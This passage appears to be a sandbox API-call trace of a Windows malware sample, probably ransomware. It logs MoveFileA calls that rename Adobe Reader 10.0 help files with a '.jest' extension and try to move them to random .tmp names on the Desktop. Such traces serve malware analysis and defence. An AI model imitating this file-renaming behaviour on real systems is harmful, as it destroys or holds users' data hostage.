10.0\\LueMinut.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\lueminut.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uLn 9RjAbn90xugtM4luWFDa54RvglFY_HCogYwPaBkMGI-FfSbkmcMf12eFR37LxjBTbzquNpPxoP87mbNLsM6frFBb3RSuFC28I.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uln 9rjabn90xugtm4luwfda54rvglfy_hcogywpabkmgi-ffsbkmcmf12efr37lxjbtbzqunppxop87mbnlsm6frfbb3rsufc28i.tmp")) returned 0 [0151.545] GetLastError () returned 0x2 [0151.546] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.546] CoFreeUnusedLibraries () [0151.546] GetTickCount () returned 0x1157a6e [0151.546] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.546] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.546] GetTickCount () returned 0x1157a6e [0151.546] IsWindowVisible (hWnd=0x30268) returned 0 [0151.546] Sleep (dwMilliseconds=0x0) [0151.546] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\viktigt.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\viktigt.htm.jest")) returned 1 [0151.548] GetLastError () returned 0x0 [0151.548] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮噜歩楴瑧栮浴") returned 0x34 [0151.548] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4b84, cbMultiByte=52, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 52 [0151.548] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮噜歩楴瑧栮浴") returned 0x34 [0151.548] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4b84, cbMultiByte=53, lpWideCharStr=0x1445ffc, cchWideChar=105 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm") returned 53 [0151.548] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮噜歩楴瑧栮浴樮獥t") returned 0x39 [0151.548] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1432fe4, cbMultiByte=57, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 57 [0151.548] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮噜歩楴瑧栮浴樮獥t") returned 0x39 [0151.548] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1432fe4, cbMultiByte=58, lpWideCharStr=0x144ebf4, cchWideChar=115 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm.jest") returned 58 [0151.549] VarBstrFromR4 (in: fltIn=0x4794509f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.24") returned 0x0 [0151.549] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.549] CoFreeUnusedLibraries () [0151.549] GetTickCount () returned 0x1157a7d [0151.549] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.549] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.549] GetTickCount () returned 0x1157a7d [0151.549] IsWindowVisible (hWnd=0x30268) returned 0 [0151.549] Sleep (dwMilliseconds=0x0) [0151.550] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\viktigt.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ncNSpUoHE4mmhkiBgbKnkLID84FcKax602RAv7q6nNaJ8BLxRsbUzoOIJKOzJJeXVpdF5Ka SSYpBDB3IuI93C009HVfX-Fri52Pb.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ncnspuohe4mmhkibgbknklid84fckax602rav7q6nnaj8blxrsbuzooijkozjjexvpdf5ka ssypbdb3iui93c009hvfx-fri52pb.tmp")) returned 0 [0151.550] GetLastError () returned 0x2 [0151.550] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.551] CoFreeUnusedLibraries () [0151.551] GetTickCount () returned 0x1157a7d [0151.551] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.551] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.551] GetTickCount () returned 0x1157a7d [0151.551] IsWindowVisible (hWnd=0x30268) returned 0 [0151.551] Sleep (dwMilliseconds=0x0) [0151.552] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmej.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmej.htm.jest")) returned 1 [0151.552] GetLastError () returned 0x0 [0151.553] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜慥䵤䩥栮浴") returned 0x34 [0151.553] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1432fe4, cbMultiByte=52, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 52 [0151.553] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜慥䵤䩥栮浴") returned 0x34 [0151.553] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1432fe4, cbMultiByte=53, lpWideCharStr=0x146c82c, cchWideChar=105 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm") returned 53 [0151.553] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜慥䵤䩥栮浴樮獥t") returned 0x39 [0151.553] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4b84, cbMultiByte=57, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 57 [0151.553] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜慥䵤䩥栮浴樮獥t") returned 0x39 [0151.553] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4b84, cbMultiByte=58, lpWideCharStr=0x14cf144, cchWideChar=115 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm.jest") returned 58 [0151.553] VarBstrFromR4 (in: fltIn=0x4794509f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.24") returned 0x0 [0151.553] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.553] CoFreeUnusedLibraries () [0151.553] GetTickCount () returned 0x1157a7d [0151.553] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.553] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.554] GetTickCount () returned 0x1157a7d [0151.554] IsWindowVisible (hWnd=0x30268) returned 0 [0151.554] Sleep (dwMilliseconds=0x0) [0151.554] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmej.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XFJq26zGxL5s77_KCGJrwOqmerV9iqzW96mptwGrojZx72d8cqRCeK cvPHeBLZNV5FTMvaIrf-9EEyJdhuAbIoFpI5BP9t3UTI8.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xfjq26zgxl5s77_kcgjrwoqmerv9iqzw96mptwgrojzx72d8cqrcek cvpheblznv5ftmvairf-9eeyjdhuabiofpi5bp9t3uti8.tmp")) returned 0 [0151.554] GetLastError () returned 0x2 [0151.555] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.555] CoFreeUnusedLibraries () [0151.555] GetTickCount () returned 0x1157a7d [0151.555] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.555] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.555] GetTickCount () returned 0x1157a7d [0151.555] IsWindowVisible (hWnd=0x30268) returned 0 [0151.555] Sleep (dwMilliseconds=0x0) [0151.559] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\liesmich.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\liesmich.htm.jest")) returned 1 [0151.559] GetLastError () returned 0x0 [0151.559] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮䱜敩浳捩⹨瑨m") returned 0x35 [0151.560] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4b84, cbMultiByte=53, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 53 [0151.560] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮䱜敩浳捩⹨瑨m") returned 0x35 [0151.560] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4b84, cbMultiByte=54, lpWideCharStr=0x1467bd4, cchWideChar=107 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm") returned 54 [0151.560] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮䱜敩浳捩⹨瑨⹭敪瑳") returned 0x3a [0151.560] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1432fe4, cbMultiByte=58, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0151.560] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮䱜敩浳捩⹨瑨⹭敪瑳") returned 0x3a [0151.560] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1432fe4, cbMultiByte=59, lpWideCharStr=0x144eaec, cchWideChar=117 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm.jest") returned 59 [0151.560] VarBstrFromR4 (in: fltIn=0x4794509f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.24") returned 0x0 [0151.560] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.560] CoFreeUnusedLibraries () [0151.560] GetTickCount () returned 0x1157a7d [0151.560] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.560] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.561] GetTickCount () returned 0x1157a7d [0151.561] IsWindowVisible (hWnd=0x30268) returned 0 [0151.561] Sleep (dwMilliseconds=0x0) [0151.561] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\liesmich.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\G494AlP8_kFX5XgqgQBJ8HZVvUqwERGci3vMB7FJ920iJLtt8Sa85F0wWWbnY k-jPzecQOHZoCXKHOiLgI7q8QlwSepUPCq46810.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\g494alp8_kfx5xgqgqbj8hzvvuqwergci3vmb7fj920ijltt8sa85f0wwwbny k-jpzecqohzocxkhoilgi7q8qlwsepupcq46810.tmp")) returned 0 [0151.561] GetLastError () returned 0x2 [0151.562] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.562] CoFreeUnusedLibraries () [0151.562] GetTickCount () returned 0x1157a7d [0151.562] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.562] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.562] GetTickCount () returned 0x1157a7d [0151.562] IsWindowVisible (hWnd=0x30268) returned 0 [0151.562] Sleep (dwMilliseconds=0x0) [0151.562] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmek.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmek.htm.jest")) returned 1 [0151.563] GetLastError () returned 0x0 [0151.563] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜慥䵤䭥栮浴") returned 0x34 [0151.564] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1432fe4, cbMultiByte=52, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 52 [0151.564] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜慥䵤䭥栮浴") returned 0x34 [0151.564] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1432fe4, cbMultiByte=53, lpWideCharStr=0x14cf144, cchWideChar=105 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm") returned 53 [0151.564] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜慥䵤䭥栮浴樮獥t") returned 0x39 [0151.564] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4b84, cbMultiByte=57, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 57 [0151.564] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜慥䵤䭥栮浴樮獥t") returned 0x39 [0151.564] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4b84, cbMultiByte=58, lpWideCharStr=0x144ebf4, cchWideChar=115 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm.jest") returned 58 [0151.564] VarBstrFromR4 (in: fltIn=0x479450a1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.26") returned 0x0 [0151.564] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.564] CoFreeUnusedLibraries () [0151.564] GetTickCount () returned 0x1157a8d [0151.564] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.564] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.564] GetTickCount () returned 0x1157a8d [0151.565] IsWindowVisible (hWnd=0x30268) returned 0 [0151.565] Sleep (dwMilliseconds=0x0) [0151.565] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmek.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\W1l6QHFB4oxLyXkzJ2MBTYVMvnZ Cc66EWL3RJsrB-Xj3r XfIvPHfw5 w_sr_3Fh6l4tDTkf8pu6t3AU1H3zGYtdkP5MNWNc5N.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w1l6qhfb4oxlyxkzj2mbtyvmvnz cc66ewl3rjsrb-xj3r xfivphfw5 w_sr_3fh6l4tdtkf8pu6t3au1h3zgytdkp5mnwnc5n.tmp")) returned 0 [0151.565] GetLastError () returned 0x2 [0151.566] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.566] CoFreeUnusedLibraries () [0151.566] GetTickCount () returned 0x1157a8d [0151.566] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.566] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.566] GetTickCount () returned 0x1157a8d [0151.566] IsWindowVisible (hWnd=0x30268) returned 0 [0151.566] Sleep (dwMilliseconds=0x0) [0151.566] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\viktig.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\viktig.htm.jest")) returned 1 [0151.567] GetLastError () returned 0x0 [0151.567] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮噜歩楴⹧瑨m") returned 0x33 [0151.567] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4b84, cbMultiByte=51, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 51 [0151.567] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮噜歩楴⹧瑨m") returned 0x33 [0151.567] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4b84, cbMultiByte=52, lpWideCharStr=0x1445ffc, cchWideChar=103 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm") returned 52 [0151.567] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮噜歩楴⹧瑨⹭敪瑳") returned 0x38 [0151.567] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1432fe4, cbMultiByte=56, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0151.568] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮噜歩楴⹧瑨⹭敪瑳") returned 0x38 [0151.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1432fe4, cbMultiByte=57, lpWideCharStr=0x144ddec, cchWideChar=113 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm.jest") returned 57 [0151.568] VarBstrFromR4 (in: fltIn=0x479450a1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.26") returned 0x0 [0151.568] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.568] CoFreeUnusedLibraries () [0151.568] GetTickCount () returned 0x1157a8d [0151.568] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.568] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.568] GetTickCount () returned 0x1157a8d [0151.568] IsWindowVisible (hWnd=0x30268) returned 0 [0151.568] Sleep (dwMilliseconds=0x0) [0151.569] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\viktig.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mw BI ZZCd3isqt9CsJcPKezsSX_ER7Z6mmR339tdWdUdbdg5HgnAS5pnbu3kmCXC_SxLD6e2AwZPXiUKT-Lchrx1KZQSkzlBUrq.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mw bi zzcd3isqt9csjcpkezssx_er7z6mmr339tdwdudbdg5hgnas5pnbu3kmcxc_sxld6e2awzpxiukt-lchrx1kzqskzlburq.tmp")) returned 0 [0151.569] GetLastError () returned 0x2 [0151.570] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.570] CoFreeUnusedLibraries () [0151.570] GetTickCount () returned 0x1157a8d [0151.570] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.570] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.570] GetTickCount () returned 0x1157a8d [0151.570] IsWindowVisible (hWnd=0x30268) returned 0 [0151.570] Sleep (dwMilliseconds=0x0) [0151.570] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readme.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readme.htm.jest")) returned 1 [0151.571] GetLastError () returned 0x0 [0151.571] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜慥䵤⹥瑨m") returned 0x33 [0151.571] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4b84, cbMultiByte=51, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 51 [0151.571] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜慥䵤⹥瑨m") returned 0x33 [0151.571] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4b84, cbMultiByte=52, lpWideCharStr=0x146c82c, cchWideChar=103 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm") returned 52 [0151.571] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜慥䵤⹥瑨⹭敪瑳") returned 0x38 [0151.571] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1432fe4, cbMultiByte=56, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0151.572] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜慥䵤⹥瑨⹭敪瑳") returned 0x38 [0151.572] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1432fe4, cbMultiByte=57, lpWideCharStr=0x144eaec, cchWideChar=113 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm.jest") returned 57 [0151.572] VarBstrFromR4 (in: fltIn=0x479450a1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.26") returned 0x0 [0151.572] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.572] CoFreeUnusedLibraries () [0151.572] GetTickCount () returned 0x1157a8d [0151.572] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.572] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.572] GetTickCount () returned 0x1157a8d [0151.572] IsWindowVisible (hWnd=0x30268) returned 0 [0151.572] Sleep (dwMilliseconds=0x0) [0151.573] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readme.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PmWZbp8jPLyIflE EnwDfSngjyBeKUsZu0bGcZAbcXZS6hDDaA2U9glO6wcZ5_ebBHHMxwvcg6X-oMtTsmXZ0A12BynpgAUvb-FzN.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pmwzbp8jplyifle enwdfsngjybekuszu0bgczabcxzs6hddaa2u9glo6wcz5_ebbhhmxwvcg6x-omttsmxz0a12bynpgauvb-fzn.tmp")) returned 0 [0151.573] GetLastError () returned 0x2 [0151.573] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.574] CoFreeUnusedLibraries () [0151.574] GetTickCount () returned 0x1157a8d [0151.574] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.574] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.574] GetTickCount () returned 0x1157a8d [0151.574] IsWindowVisible (hWnd=0x30268) returned 0 [0151.574] Sleep (dwMilliseconds=0x0) [0151.574] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leiame.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leiame.htm.jest")) returned 1 [0151.575] GetLastError () returned 0x0 [0151.575] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮䱜楥䵡⹥瑨m") returned 0x33 [0151.575] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1432fe4, cbMultiByte=51, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 51 [0151.575] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮䱜楥䵡⹥瑨m") returned 0x33 [0151.575] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1432fe4, cbMultiByte=52, lpWideCharStr=0x144ddec, cchWideChar=103 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 